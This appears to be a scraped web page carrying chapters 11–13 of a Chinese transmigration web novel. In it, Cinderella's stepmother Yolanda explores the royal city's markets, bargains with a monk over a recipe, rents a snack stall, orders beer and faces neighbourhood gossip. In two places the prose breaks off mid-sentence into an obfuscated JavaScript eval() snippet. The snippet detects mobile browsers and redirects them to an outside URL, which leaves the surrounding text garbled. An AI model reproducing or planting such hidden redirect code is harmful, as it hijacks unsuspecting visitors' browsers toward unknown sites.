据说往前走十条街，就进入了贵族、富商们的聚集地。还据说，那里连空气都是胡椒味。 尤兰达对后者持保留意见。 胡椒味的空气……还能呼吸吗？ 神秘的贵族区或许豪奢，但她们所处平民区也很精彩。 尤兰达一路走来，恍惚回到了节假日的都市步行街，人山人海，处处生机勃勃。 堪比双向八车道的主路两侧，高大的橡树成了天然的区隔，划分出一块块阴凉的摊位。 树干系着彩色的篷布，风吹过，篷布像海浪一样上下翻飞。篷布之下，小贩支起木板，排列待售的货物。 什么贝壳街、海螺巷，与凤凰大道一比，冷清又简陋，不及这里十分之一的鲜活与气派。 饭馆生意做到凤凰大道来，还愁赚不到钱？ 可惜，城中鲜少见到现代意义的固定娱乐休闲场所，只有酒馆和大广场勉强沾点边。 难不成这类场所开进贵族区了？ 尤兰达走走停停，看什么都稀奇，看什么都充满商机，眼珠子和脑筋一起飞转。 她也不怕露馅，因为连西芙拉和菲奥娜这两个土著，同样对皇城的一切充满了陌生与好奇。 过去她们住在隔壁伯爵领地，活动范围仅限于镇子周边。 逢年过节，男主人才会带上管家仆从来皇城采买货物、与各路商队交际。 原身偶尔借口采买生活用品跟来过几次，再偷摸去收租，对皇城的记忆仅停留在几家熟悉的铺面上。 起初，女孩们小心翼翼拽着母亲的衣角，没过多久便敢挤进人群中乱窜，时不时发出低低的惊叹。 母女三人随着人潮，渐渐停在商队云集的珍珠街广场。 四通八达的道路两旁挤满各种类型的摊子： 南方海岸的商人摊开晒干的海藻与串成项链的贝壳；北境来的毛皮贩子将雪狐、灰狼的皮毛高高挂起；东方来的骆驼商队展示华光溢彩的柔软织物，挑动富商们的购买欲。 尤兰达一边走，一边闷不吭声地收集信息，加快对黑森王国商业环境的了解。 一匹产自东方的丝绸，足以换一座城郊的小农庄；三粒胡椒的价格比铁匠石匠半年的工钱高一大截，“价比黄金”在这里是陈述事实。 又往前走几步，摊子上空无一物，裹着头巾的异域商人脚踩货箱，连说带比划，倨傲表示看货需要验资，并且只接受金币交易。 穿了粗麻衣的平民想凑近问问到底卖的什么货，商队保镖连忙拔刀拦人，怒斥着驱赶他们。 这么一闹腾，反勾起了尤兰达三人的好奇心，她们略等了片刻，依稀从过往富商嘴里听到答案—— 原来中东商人卖白瓷和茶叶。 难怪两旁看热闹的人群里，她瞧见好几个行迹鬼祟、目光贪婪地人，直勾勾盯着商队。 这就是皇城，财富与欲望赤裸裸陈列的地方、机遇与风险暗中流动的旋涡。 尤兰达不禁走神。 空间里一餐柜的白瓷餐具、玻璃茶杯酒杯，几大包茉莉绿茶和藏红花，值不少金币吧？ 想归想，她可不敢轻易拿出来，好歹等她站稳了脚跟，有了门路。 见识过珍珠街的“集四海之物”，母女三人转向生活气息浓厚的菜市街。 这里，鲜少见到风尘仆仆的异域商队，多是老皇城人。小摊上鲜少找到昂贵商品，多是便宜常见的生活用品。 从功能上说，菜市街像海螺巷集市的plus版，类似大型农贸市场，生活中所需的绝大多数物资都能在此找到。 尤兰达记下街道名称，前往另一处市集：修道院石桥街。 修道院市集颇有名气，来往行人可能来自皇城四面八方，乃至城外村镇。 按照当下的命名习惯来推断，既然以“修道院”为名，附近必然建有修道院、教堂或钟楼之类的公共设施。 事实也确实如此，三人拐进街道，一抬眼便见连绵高耸的灰石修道院，占地面积颇广，尖顶上的铁十字泛出沉静的光。 临近斋戒日，修道院加入摆摊行列，大门口支起木板和篷布，门前的拥挤队伍跨越半条街不止。 尤兰达艰难挤到队伍尽头，看清售卖的货物，不由惊讶。 修道院经营的摊子，货品出乎意料的丰富。 有卖大米、小麦、藏红花、发酵面团、奶酪、干果和酸奶。水果有樱桃、苹果、蔓越莓、蓝莓。 除以上常规食材连续三天不间断上货，不常规的鳕鱼、腌鱼、鲈鱼、鳗鱼和鲤鱼，仅周四周五下午低价出售。 这一周买不到，只能等下一周的三四五了，对大多数平民来说，机会难得。 尤兰达眼热不已，要不是队伍太长，天黑都不一定排到她们，她早加入了。 她赶紧扒拉原身脑海中零碎的常识类记忆。 原来，修道院不止用于修士修行祷告，同时担负起农作物生产中心、文化中心、科研中心、技术中心、医疗机构、慈善机构等职能。 摊子上出现的所有食材，从谷物、蔬菜到熏肉、奶酪，无不是自产自销。 最令尤兰达惊喜的一点，修道院允许以物易物。 她亲眼见一妇人捧上新做的馅饼，换走一匹结实粗布。 还有一个矮人，声称自己有山神赠送的食谱，知道如何烹饪出美味的菌菇汤，表示希望用食谱换取未来长期低价采购烟熏肉的名额。 再看摊子后面的修士，闻言露出惊喜神色，当即邀请矮人进修道院展示技术。 尤兰达一惊，这也行？ 真实的中世纪修道院什么样，她无从知晓，但童话世界的修道院着实刷新了她的认知。 她回头想招呼两个女儿稍等，却见她们一头扎进帽子店，对着满架子蕾丝蝴蝶结挑花了眼。 尤兰达摇摇头，整了整衣裙，表现出足够的恭敬，上前与修士搭话。 “愿主的平安与您同在。”她有意用了句拉丁语，随即切换成本地语，语气谦和：“尊敬的修士，如果我掌握一种方法，能将豆子烹煮出肉类的口感，甚至比肉更鲜美，是否能获得一点上帝的恩典？” “比如，以优惠的价格采购一些鳕鱼、淡水鱼等其他合宜的物资。” “愿主保佑你，善良的夫人，”他颔首回礼，语气温和了许多，“假如你真有这样奇妙的食谱，修道院很乐意为您提供相应的帮助。” 那几句刻意炫出来的拉丁文果然起了作用，修士认定她是有知识文化的高素质人，原本平淡的神色微微一凝，露出了比先前对待矮人时更真切几分的热情。 尤兰达心下稍安，面上适时流露出感激与恭敬： “感谢上帝，感谢修士的善意。我和女儿们刚迁居皇城，诸事尚且陌生。待我将食谱仔细整理妥当，定会再来拜访。” 修士微微一笑，在胸前划了个十字：“愿主指引您的道路。我们随时恭候。” 简短交谈后，尤兰达行礼告辞，转身时，她长舒一口气。 简直像在和莎士比亚对话，字字句句再三斟酌，唯恐冒犯。 幸好，修道院对食谱交易持开放态度，往后说不定真能吃上修道院出产的、价格实惠的豆腐与豆浆。 黄豆应该是找不到的，市集上没见过，原主的记忆里也没这东西。不过有鹰嘴豆，不仅有，还很稀松平常，价格和小麦差不多，完美代替黄豆。 豆腐制作工艺复杂，体力消耗大，有句俗话叫“打铁、撑船、磨豆腐，人生三大苦”，足以证明在生产力低下的时代，磨豆腐有多累。 尤兰达不打算没苦硬吃，交给人力充裕的修道院去钻研，自己等着吃现成的岂不更好？还能低价采购鳕鱼。 鳕鱼可比培根、肉肠便宜，炸成鳕鱼排，三明治和汉堡包就都能提上日程，好处多多。 尤兰达越想越快活，转身去帽子店寻女儿们。 一进门，两个女孩一左一右缠住她，闹着要买蝴蝶结配裙子。 她没说什么，只默默扒开随身携带的羊皮小包，展露母女三人全部的家当。 西芙拉、菲奥娜傻眼：“我们家……这么穷了吗？” 对自家经济状况有了清晰而残酷的认知后，两人万分不舍地放下蝴蝶结。 尤兰达好奇，问道：“昨天收拾行李的时候，你们没有带上零花钱？” 拉斯穆森每周会给每个女儿10枚银币作为零花，对比许多打工人，相当阔绰。 菲奥娜：“妈妈，你忘了吗？我们的零花钱买了礼服裙子、做了新鞋子。” 尤兰达直叹气。 这一家子，没一个有储蓄意识。 大致摸清修道院石桥街的状况后，母女三人动身前往今日的最后一个目的地：工匠街。 选择工匠街的理由很朴素，铁匠、石匠、银匠、铜匠等手工业打工人薪资高，舍得花钱。 资深匠人的薪资水平大概处于高级白领阶段，周薪可达19枚银币，除贵族家的女仆、管家外公认的高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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腥味有没有压下去不好说，反正混杂了多种香草、未经调和的野蛮气味，冲击力不比原始的腥味逊色。 这算哪门子的烹饪，分明是对食材的霸凌，对食客的无差别攻击。 幸好黑森王国沿用了罗马的骟猪技艺，猪肉不骚，否则这日子太没盼头了。 尤兰达擦了擦嘴角，压下不断翻涌的反胃感，扭头环顾四周。 街上除她以外，土著们像失去味觉似的，大口大口咀嚼，无一人表现出不适。 尤兰达打了个寒颤，自愧不如，剩下的小吃全让给西芙拉和菲奥娜。 “好吃吗？” “好吃。”两个女孩腮帮鼓鼓。 “和薯条、玉米烙比呢？” 咀嚼骤然停止，女孩们眨了眨眼，手里的小馅饼\甜面团好像不香了。 尤兰达从她们的反应里得到了答案，信心暴增。 怎么说呢，大概是“全球厨师水平下降万倍，而我携带千年饮食智慧且厨艺不变”，无敌了。 工匠街从头走到尾，大小店面约有三、四百家，买小吃的顾客比其他几条街道加起来都多。 对比其他几条街巷，工匠街距离矮人巷最远，却最合适。 先不说手松的匠人们花钱买小吃的意愿有多强，单说前来工匠街购物的客人们，用得起铁锅、铜锅、金器、银器的群体，本身非富即贵，他们的钱比赚穷人的钱有赚头。 修道院石桥街摆摊其实也不错。 众所周知，整个王国不会有比修道院、教会更富裕的存在，并且他们无需向国王缴纳税金，因此，归他们管辖的街道摊位费价格比市场价略低。 分析完好处，再说说坏处。 愿意来修道院采买实惠物资的人群，大多家境拮据，或者生活节俭。别看人流量大，和主街比也不差什么，实际购买力差远了。 稍一对比，她立刻有了决断——以后就在工匠街摆摊！ 尤兰达脚步一转，径直走向工匠街广场。 中心雕塑旁立着一根旗杆，下方摆着一张长桌，是承包工匠街的商人，所有在工匠街摆摊的小贩需向承包商缴纳摊位费。 如果货物多、占地多、需要搭建篷布，摊位费之外还有一个破土费。 尤兰达要做的食物无需太大面积，一辆小推车足以，是以只需缴纳摊位费，一天一缴，可提前预缴。 如果想钻空子当无证摊贩，就得小心工匠街的城管——巡摊员。 没抓到无所谓，抓到了当场收双倍费用，并拉去广场中心接受裁决。 向承包商确认斋期的摆摊时间和注意事项，缴纳第一天的20铜币摊位费后，尤兰达成功拿下一块铅牌。 有了营业执照，她的小吃摊正式完成筹备，只等第二天正式开摊。 12. 第 12 章 眼看生活即将走上正轨，尤兰达内心前所未有的安定。 回家的路上，她奢侈了一把，找到有固定摊位的蚝郎，预订40斤生蚝肉，赶在星期天中午前送去矮人巷。 没别的，当着两个小老外的面熬出蚝油，以后就能顺理成章的拥有“用不完”的蚝油了。 进入贝壳街，尤兰达顺路拐去海螺巷，找到“老实人酒坊”，提前订购酒水。 “淡啤酒150铜币一桶，浓啤酒210铜币一桶，蜂蜜酒贵点，300铜币。 葡萄酒是我们酒坊最贵的，得支付5枚银币，并且最少订3桶。夫人需要哪一种？” 看店的杂役打量母女三人的穿着后，笑容灿烂地迎上来。 尤兰达目光掠过一排排橡木桶，心里打起小算盘。 黑森王国的各行各业都成立了对应的行会。 上到代政府收税，中到规定岗位薪资，下到掌控货品定价权等，存在感极高。 啤酒被归类进大宗日用消费品，定价权自然而然落入啤酒行会手里。 行会规定，城中但凡售卖啤酒，1杯600ml的淡啤酒售价不超过1铜币，1杯600ml浓啤酒售价不超过2铜币。 自从规定施行，商家默契选择最高上限为定价。 实打实按照行会规定来，150铜币进一桶52加仑的淡啤酒，全部售出，到手约有420铜币……这毛利，绝对有的赚！ 要知道当下时代，平民获取干净水源难度大，淡啤酒干净卫生又美味，理所当然成了大家的首选。 渴了喝一杯，热了喝一杯，出游玩耍打满一皮囊带着路上喝，有事没事来一杯。 男女老少都喝它，也都喝得起。 400杯，随便哪家酒馆，一天之内可以卖的一滴不剩。 饭馆则稍逊些，需要两天才能完全消化。 尤兰达估算了下需求量，痛快下单：“淡啤酒15桶，浓啤酒1桶，米迦勒节（9月29日）之前送到矮人巷北1店。” 杂役恭维道：“哦~英明又机智的夫人，您可真是选对了时间。 米迦勒节后就入冬了，到时候各家酒馆的订单排满，您再晚几天来，每桶至少多花5个铜币。” 进入冬季，不止酒坊，陶瓦坊、木柴坊、煤炭坊等，都会随季节更替而涨价。 尤兰达正因清楚这一点，早早定下陶瓦，小吃摊有着落后，才又拼着掏空口袋的风险，提前订啤酒。 如杂役所言，一到冬季，酒馆生意爆火，啤酒需求量激增。 尤其中间有个米迦勒节，当地会举办隆重的纪念活动，平民们杀鸡宰鹅欢度节日，啤酒更少不了。 为了抓住赚钱机会，各家酒馆饭馆卯足劲囤啤酒，啤酒行会也想趁机大赚一笔，自然而然跟着涨价。 涨价不可怕，怕到时候供不应求。 等饭馆开业再订酒水？喝西北风去吧。 尤兰达保持淡淡的傲慢姿态，问道：“我是第一次采购你家的啤酒，之前只喝过隔壁矮人巷老杰克家的。 说实话，他家一成半的预付货款太不划算了，不知道你们酒坊什么规矩？” 多亏原身收租时撞见了前任租户提货订货的画面，让她知道附近哪家酒坊物美价廉，哪家交货拖拉。 这不，正好派上用场。 杂役一听客户从老竞争对手家跑来，浑身劲劲的，“一成，夫人，我们酒坊只收一成货款。 夫人第一次光顾我们酒坊，100铜币的橡木桶押金可以免去，我们额外赠送一次免费运送。” 尤兰达数出246枚铜币交出去，“感谢您的大方，我会继续光顾老实人酒坊。” 杂役大喜过望，收了铜币，简单刻下一块木牌交出去。 尤兰达走出酒坊，捏了捏轻飘的羊皮小包。 里面只有十几个铜币，加上藏在家里抽屉备用的，总数200铜币出头。 “妈妈，”西芙拉迟疑开口，语气难以置信，“你租下摊位、订了啤酒……难道打算摆摊卖啤酒吗？” 这一天逛下来，除了满眼新鲜，两个孩子印象最深的，就是母亲租摊位、订啤酒的举动。她们理所当然地认为妈妈要去摆摊卖酒。 西芙拉心情复杂，既震惊她们家的贫穷，也痛惜妈妈要做不体面的活计糊口。 以及，她发自内心的认为……这有点丢脸。 若有朋友问起，她该如何说起自家的营生？她们肯定会看不起她的。 哦，她们搬来了皇城。 她们没有朋友了。 “妈妈，这太不体面了。” 菲奥娜慢一步追上来，恰好听到姐姐的话。仿佛讨论什么见不得人的事，她左右瞄一眼，见无人注意，低声表达自己的反对意见。 尤兰达停下脚步，反思片刻。 离开尼尔森家后，出于躲避、省事的心理，一直都是她自顾自的拿主意做打算，从来没有和她们认真沟通过。 两个女孩也习惯性听从母亲吩咐，乐于依靠她，根本不清楚母女三人要面对的挑战。 尤兰达认识到问题所在，决定把话说开。 “小西，小菲，”她平静的向女儿们陈述事实：“我们别无选择。如果不在夏天赚到足够多的钱，冬天会杀死我们。” 西芙拉和菲奥娜齐齐怔住，离家时短暂涌现的恐慌又一次漫上心头。 “小西，你有什么赚钱的法子吗？我是说每周10银币以上的工作，比如纺纱、织布。不过据我所知，纺纱织布一周可赚不到这么多。或许你擅长其他赚钱的技巧？” 西芙拉张了张唇，想说自己才不要去纺纱，随即喉头一哽。 她不会纺纱，不会织布，更不会其他的赚钱技巧。 尤兰达不等她回答，侧身转向菲奥娜。 “小菲，你愿意去当女仆吗？周薪虽不及你的零花，但足够我们三人吃上饱饭、买柴火取暖。 当然，如果你想去裁缝铺当学徒，学习制作漂亮衣裳，妈妈也支持你，只是学徒费低廉，恐怕负担不起我们的生活所需。” 菲欧娜差点跳脚：“妈妈！我怎么能去当女仆？我是喜欢漂亮裙子，可我不想当裁缝学徒。” 尤兰达毫不意外她们的反应，“我们迫切的需要钱，而你们想不到更好的法子。现在，你们还有心思考虑体面吗？” 面对冰冷而现实的生存问题，两人哑口无言。 西芙拉嗫嚅半晌，硬着头皮挤出一句干涩话音：“我们……不能去求求爸爸吗？” “事实上，我们会站在这条街、讨论如何赚钱生存下去，多亏了他的‘仁慈’。 我想你们应该还记得，他亲口说过不允许我们带走一铜币。” 她顿了顿，声音更沉了些：“我们身无分文，而你们的爸爸，明知道我们无处可去。” “他不在乎我们会不会冻死、饿死，无所谓我们如何活下去。” 女孩们如遭雷击，眼底迅速涌起水雾，面色惨白。 “傻孩子，别对任何人抱有期望。能救我们的，只有我们自己。” 尤兰达不忍心见漂亮女孩露出绝望神情，轻拍她们的后背。 “走吧，我们商量一下小吃摊卖什么。 我以为薯条和玉米烙不错，现在看好像份量有点小了，做成薯饼怎么样？” 她一手揽一个，连拖带拽的往矮人巷方向走。 “相信妈妈，没什么比自己赚到钱养活自己更体面的事了。 我保证，明天开始，你们会享受赚钱的快乐。” 两个女孩依旧恹恹，如丧考妣。 妈妈又在骗她们，花钱才是快乐的，赚钱怎么会快乐呢。 落日时分 浑圆大蛋黄悬在巷子尽头的天空，橘红余晖迎面洒，为石板路镀上刺眼的金。 母女三人沐光而行，像三团灼人的火。 走近矮人巷，远远地，她们就瞧见巷子口那棵老橡树下聚了不少人。 她们或挎着篮，或牵着驴，或抱着陶罐陶盆，说话声嗡嗡嗡，分外热闹。 尤兰达心里一动，想听点邻里闲话，带着女儿们往人堆边凑。 刚靠近几步，她倏地停下，耳尖动了动。 “……听说了吗？北1店下个月开业。” “真的？空了大半年总算有人租了。” “可不是租——”说话的中年妇人话音兴奋，环顾一圈，卖起关子，“老板你们肯定猜不到是谁！” 西芙拉和菲奥娜显然也听见了，不约而同放轻呼吸，目光悄悄往人堆里瞟。 “你们不知道吧，开饭馆的老板，是北1点的房主！” “嘶——我记起来了，尤什么达？她太傲慢了，上次来收租，净显摆她的胡椒。 我可闻不惯胡椒味，臭臭的。” “尤兰达！原来是她，不知道的以为哪家伯爵夫人呢。 说实话，我不喜欢她的鼻孔，可她总是用鼻孔瞪我。” “她要开饭馆？她的丈夫不是富商吗？听说住在隔壁伯爵领，没少炫耀她的女儿们。” “……炫耀女儿要当王妃的费尔南多？我可太记得她了。”有人恍然大悟,抱着胳膊打了个激灵:“天呐，以后岂不是要经常见面？” 带起话题的胖夫人得意挑起眉梢：“我的大表妹在伯爵宅邸当女仆，她今天一大早过来告诉我一件事。因为她知道我有多讨厌费尔南多，迫不及待要告诉我好消息。” 围拢来的几人一听有瓜，抓耳挠腮追问：“什么事什么事？格莱特你快说啊，我着急回家做晚饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200988|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 胖夫人格莱特昂起头颅，“费尔南多和她的女儿们被富商丈夫赶出家门了！” “嘶——！”四下一片吃惊的吸气声。 趾高气昂的富商夫人为自己的恶毒遭到惩罚，失去财富和地位，沦为贫穷流浪汉，很可能活不过今年的冬天。 放在平静祥却过于无趣的平民区，可是了不得的大事件，消息一传出，彻底点燃城中居民极大的吃瓜热情，七嘴八舌交流。 “你们知道新王妃吗？她就是费尔南多的女儿，不过是富商和第一位夫人的孩子。 平民区传遍了，费尔南多从小欺负辛德瑞拉，她的富商丈夫终于不肯忍耐，婚宴当天，在皇宫门口当着许多贵族、富商的面，驱赶了她们。” “哦~很抱歉，但我很高兴听到这个消息。” “上帝啊，新王妃太可怜了。” “所以她们回来开饭馆？多了这样的邻居，户长一定很头疼。” “老实说，她们能做出可以吃的食物吗？” “瞧瞧她们养尊处优的样子，我发誓，绝对会吃死人。” “亲爱的，你说的对。我们可怜的户长、可怜的街长，他们会有处理不完的麻烦事了。” “她们会不会分不清橡木柴和松木柴的区别？可别做了亏本生意，哈哈哈哈。” “亏本也是上帝给她们的惩罚，要我说，她们不该这么轻松的离开。看，还有一间铺子。” “相信我吧，格莱特，即使她们有一座城堡，也迟早花得一干二净。” “是啊，她们可不像我们。格莱特擅长酿酒，苏珊织布又快又好……她们会做什么呢？” “反正我是不会光顾北1店的饭馆，她该为自己犯的错忏悔。” “我也不会去的，她们太恶毒了，怎么能欺负新王妃。” “你们都不去？那我也不去。” “……” 尤兰达：…… 尤兰达足足沉默了几分钟。 这瓜吃的，还吃到自己身上了。 西芙拉、菲奥娜远不如老母亲淡定，被从前瞧不起的平民当面肆意嘲弄，两人怒发冲冠。 让她们背后说妈妈坏话，必须教训教训她们！ 尤兰达稍不注意，两人提起裙摆冲上去，蛮牛一样根本拉不住。 这俩小孩，有事是真上啊。 尤兰达花了一秒钟感慨，赶紧叫住她们，强势命令一声“回来”。 三人一番拉扯争执，树下的妇人们不得不分去一部分注意力。 这一瞧，大家都愣住了，神情一片空白。 显然，她们认出了尤兰达。 冷不防撞见她们议论半天的傲慢富商夫人，妇人们恨不得跳进小溪里。 太尴尬了。 下一秒，她们默契地转身转头，看天看地，若无其事聊起晚上吃什么。 西芙拉和菲奥娜气疯了，蓝眼珠死死瞪向她们，恶狠狠告状：“妈妈，你看她们……” 尤兰达眼神示意她们安静，理了理裙摆，优雅路过，停步。 “你们在说我吗？我想我有必要解释一下，我能分清橡木和松木，做饭手艺还不错。” 妇人们雕塑一样呆立当场，脸颊爆红。 双方都察觉到，矮人巷的空气凝滞了不止一瞬。 什么人啊，这时候不应该装作没听到，然后乖乖离开吗？ 妇人们不敢吱声，更不敢直视尤兰达，不约而同遮住脸，作鸟兽散。 人群消失，显出橡木树下的瘦老头，和墙根边堆放的几件破陶器。 一旁，红帽子小女娃撅起屁股，歪着肉嘟嘟的苹果脸，认真观看老头补陶。 “夫人，要补陶器吗？2铜币一个，我动作很快的。”补陶匠手上动作不停，笑眯眯招揽生意。 尤兰达摆手拒绝，才要离开，背后传来一声不太温柔的呼喊，一阵狂风从身边刮过。 “天呐，小红帽你怎么在这里？快跟妈妈回家吃饭。”胖墩墩的夫人呼哧呼哧跑上来，说着要牵小女娃的手。 尤兰达瞧胖夫人面熟，定睛一看，是昨天在海螺巷有过一面之缘的海伦夫人。 “好了小红帽，回家吧，补陶有什么意思，小心弄脏你的帽子，奶奶可织不出一模一样的替换。” “不、我不走，我要玩泥巴。”红帽子女孩两脚蹬地，身体后仰，母女俩开始拔河比赛。 补陶匠哈哈笑，使劲搅弄泥浆，对小红帽炫耀，“有眼光的孩子，泥巴最好玩了。” 惹来海伦夫人一眼不善的斜睨。 小女孩哪受得了这诱惑，哇的一声：“泥巴、我要玩泥巴，哇！” 尤兰达久久望着红帽子小孩，神情微妙。 小红帽……她知道的那个小红帽？ 13. 第 13 章 到家时天色不早，母女三人累得不想动弹，瘫坐半天，决定晚饭随便糊弄一下。 正好晚上要熬番茄酱为明天的出摊准备，尤兰达干脆做起沾片子。 一到萝卜上市的季节，她总绕不开拍一期沾面片为主题的视频。 地道的、创新的、颠覆的，各个地区做法又有不同，她全试了个遍，现下做起驾轻就熟。 俩孩子不挑嘴，也无需展示出去，尤兰达不搞那些五彩缤纷的漂亮饭，偷懒做基础款。 笃笃笃—— 菜刀挥出残影，像施了魔法，莴苣、土豆、胡萝卜眨眼化作均匀细丝。下锅焯水捞出，很快又变成碎末，动作行云流水。 西芙拉一刻不错过，眼睁睁看着两瓢小麦粉一点点加进去，再洒一点橄榄油，稍加搓揉，红黄绿相间的蔬菜碎便与面粉融合成一大团色彩斑斓的面团，像嵌了碎宝石的云絮，漂亮极了。 “妈妈，你做的饭真好看。”她捧着脸小声惊叹。 尤兰达笑，见两个女儿喜欢盯着她下厨，之后每道步骤，她都放慢动作，配上简短讲解。 说话间，锅里的水咕嘟冒泡，她揪起一小团面，轻轻一搓，扯成宽长条滑入锅中。 手里忙个不停，眼睛也没闲着，尤兰达紧盯旁边熬番茄酱的锅，提醒西芙拉认真搅动汁水 两口锅同步操作，番茄酱熬得殷红浓稠时，第二锅蔬菜沾片子也出锅了。 咻一下，菲奥娜拈起一片片子往嘴里塞：“好烫好烫。妈妈，这面团怎么没味道啊？” 尤兰达斜她一眼：“当然没味道，我还没做酱汁呢。” 西芙拉指着妹妹大声嘲笑。 眼看动嘴即将发展成动手，尤兰达赶紧分开两人，一个继续搅番茄酱，一个去井边洗番茄，安排的明明白。 待厨房只剩下柴火噼啪，尤兰达另起小锅，爆香蒜末、洋葱与干辣椒，舀来一大番茄酱、鹿肉酱同炒成深色浓酱。 酸甜咸辣，滋味层次分明，别说沾片子，沾骨头都能多啃几口。 果不其然，新酱汁刚一上桌，配合晾至温热的蔬菜沾片子，两女孩一吃一个不吱声。 尤兰达是习以为常，没什么可说的。西芙拉和菲奥娜被塑料姐妹夺过几次食，已经学会护□□髓。先埋头猛猛吃，好听话吃饱了再说。 晚饭过后，两人苦着脸包揽洗碗工作，尤兰达守着泥炉熬酱汁。 想装满一整罐，少说需要熬6、7升，可不轻松，尤其用的还是土灶。 尤兰达纠结片刻，终究没敢把东西带进空间换天然气。 空间的存在太过特殊，稍有不甚露出痕迹，就可能面临被打成“异端”的风险。 这个时代的异端是什么下场呢？ 如果认罪态度好，轻则终身坐牢、家产半没、身败名裂，全家沦为奴隶。不是四选一，而是全都有。 如果死不悔改或被人抓到再犯，更完蛋，直接拉去修道院街的广场，当场火化。 回忆原身围观过的几场火刑，尤兰达获得空间金手指的激动心情终于沉下些许。 算了，老老实实用土灶吧。 对了，卧室的洗澡水也得老老实实用木桶送出来倒掉。 哪哪都是力气活，偷不了一点懒，尤兰达捶捶胳膊，认命搅动锅底。 月亮升上半空，小约翰清粪离开约莫一小时后，她抱起满满一罐番茄酱塞进橱柜暂放。 两个女孩洗碗磨磨唧唧，盆里还剩下大半碗碟，见到又来一堆脏盆脏罐子，两人一边表达自己的不满，一边飞快挑拣。 小餐具归自己，大餐具硬塞给姐姐\妹妹。不大的洗碗盆，姐俩愣是分出了三八线。 尤兰达额角直抽抽。 两人洗碗慢就算了，还耗灯油，用起草木灰一点不心疼。 哪是干活啊，简直糟心。 尤兰达眼不见为净，转身进了屋子。锁门、关窗、拉窗帘，她闪身回空间，舒舒服服泡热水澡。 勤洗澡也有概率被当成异端，以后只能在空间偷摸着洗了，倒也挺好，省的她一趟趟加水、倒水。 尤兰达浑身清爽地走出空间，上弦月躲进云层后若隐若现，院中依稀传来细碎的蛐蛐鸣叫。 才晚上九点不到，整座皇城已陷入沉睡，没有一点夜生活。 她轻手轻脚在桌前坐下，点燃蜡烛，翻出羊皮纸和鹅毛笔。 咬着鹅毛尖苦思数秒，顶格居中写下一行花体大字——豆腐制作全过程 …… “铛——铛——铛——” 次日清晨，初时祷的钟声响第三下，尤兰达睁开了眼。 8月18日，星期五，天气晴好 她穿来黑森王国的第三个白天，恰好是当地一周一次的斋戒日，也是她事业的新起点。 前世的私厨餐馆没能正式营业，成了她的遗憾，穿来童话世界，反倒囫囵着支起了小吃摊。 匆匆洗漱，尤兰达顺着梯子爬上柴棚顶。 她的出现惊动了角落里的喜鹊，尴尬收回戳煤球玩的爪子，扑棱棱飞走。 尤兰达撑着棚顶检查一圈，煤球要干不干，估摸明后天能用上。 查看完煤球，她收了梯子，从厨房拖来一大盆土豆清洗。 洗到一半时，西芙拉和菲欧拉先后揉着眼睛走出门，摇摇晃晃找厕所。 看到院中忙碌的老母亲，她们惊喜询问：“妈，今天的早午饭吃什么？” 尤兰达想了想手里的活，和紧巴巴的时间，“三明治。” 斋戒日不食荤，做全素三明治更省事。 她起身让开位置，西芙拉接替她洗土豆，菲奥娜蹲去灶边帮忙看火。 这一上午可不轻松，要熬蜂蜜芥末酱，要切土豆、煮土豆、捣土豆泥…… “笃、笃、笃——” “费尔南多夫人？” 尤兰达正盘算着，店门口传来连续敲门声。 拉开门，四个金棕须发、胡子拉碴、身形敦实的小矮人努力仰起头看她，他们肩上扛着成捆的干稻草与橡木板。 “早上好，费尔南多夫人，可以叫我红发苏珊，老格伦陶器为您效劳。” 顶着一头毛糙红发的女性小矮人扒开同伴，挤到最前面，一面整理歪斜的头巾，一面微笑同她打招呼。 尤兰达想起，斋戒日的上午，约了陶瓦坊的工匠们上门铺茅草和橡木板。 好忙碌的上午。 她尽量克制打量他们的目光，侧身让开道，领小矮人们上楼。 事实上，小矮人可不是真的矮，他们平均身高足有1米6多，和前世的她差不多。 因矮人身形娇小，力气巨大，行动敏捷的特质，城中许多建造、锻造的活计都由矮人承揽。 比如铁匠、石匠、深林猎人等行当，简直像是为矮人量身打造。 矮人的口碑无需质疑。 为了在人族主导的社会中安稳生活，他们极为珍惜每一个工作机会，偷工减料、敷衍了事的行为从不曾有过。 尤兰达放心地回到厨房。 土豆切成手指粗细的条状，下锅焯水后沥干水分，均匀裹上一层薄薄的小麦粉，便可倒入陶盆中备用。 初次出摊试水，尤兰达只备了一盆土豆条。 脆脆薯饼可以多做一盆，工匠们胃口大，分量少了反而没人愿意买。 然而薯饼做起来也更费工夫。 熟土豆捣成绵密的泥，多加小麦粉搅匀，铺平成厚片，撒上当地人喜爱的鼠尾草与欧芹碎，再切成长方小块，滑入油锅初炸定型。 炸好的薯饼捞出，在另一只陶盆里垒成堆。 煮土豆、捣土豆、炸土豆，母女三人形成一条流水线，尤兰达顺带盯住锅里的蜂蜜芥末酱。 整整一上午，厨房不断飘出诱人的香气，丝丝缕缕钻进别家院墙，勾得四周街坊邻居频频探头，四下打听。 “红发苏珊，你闻到了吗？” 三楼屋顶，撅着屁股铺稻草的小矮人忽然停住动作，鼻翼用力耸动，四下乱嗅。 红发苏珊吸溜一下口水，眼珠子滴溜溜转，寻找着什么。 “当然，当然，不知道从谁家飘来的，我的肚子咕咕叫了半天。” 另一小矮人指了指楼下院子，惊喜万分，“上帝啊，我早该想到的，是费尔南多夫人，她在做早午饭。” 其余几个矮人立刻放下手中活，手脚并用爬下房顶，扶住露台的墙垛，探出半边身子往下瞧。 院子里 尤兰达掀开杂物棚用来遮尘的厚稻草帘，从底下扒出一架半旧的小推车。 小推车两根辕木四个轮子，四周钉了木板围住，结实又耐用，家家户户必备，运送谷物、蔬菜等，正好可以拿来摆摊。 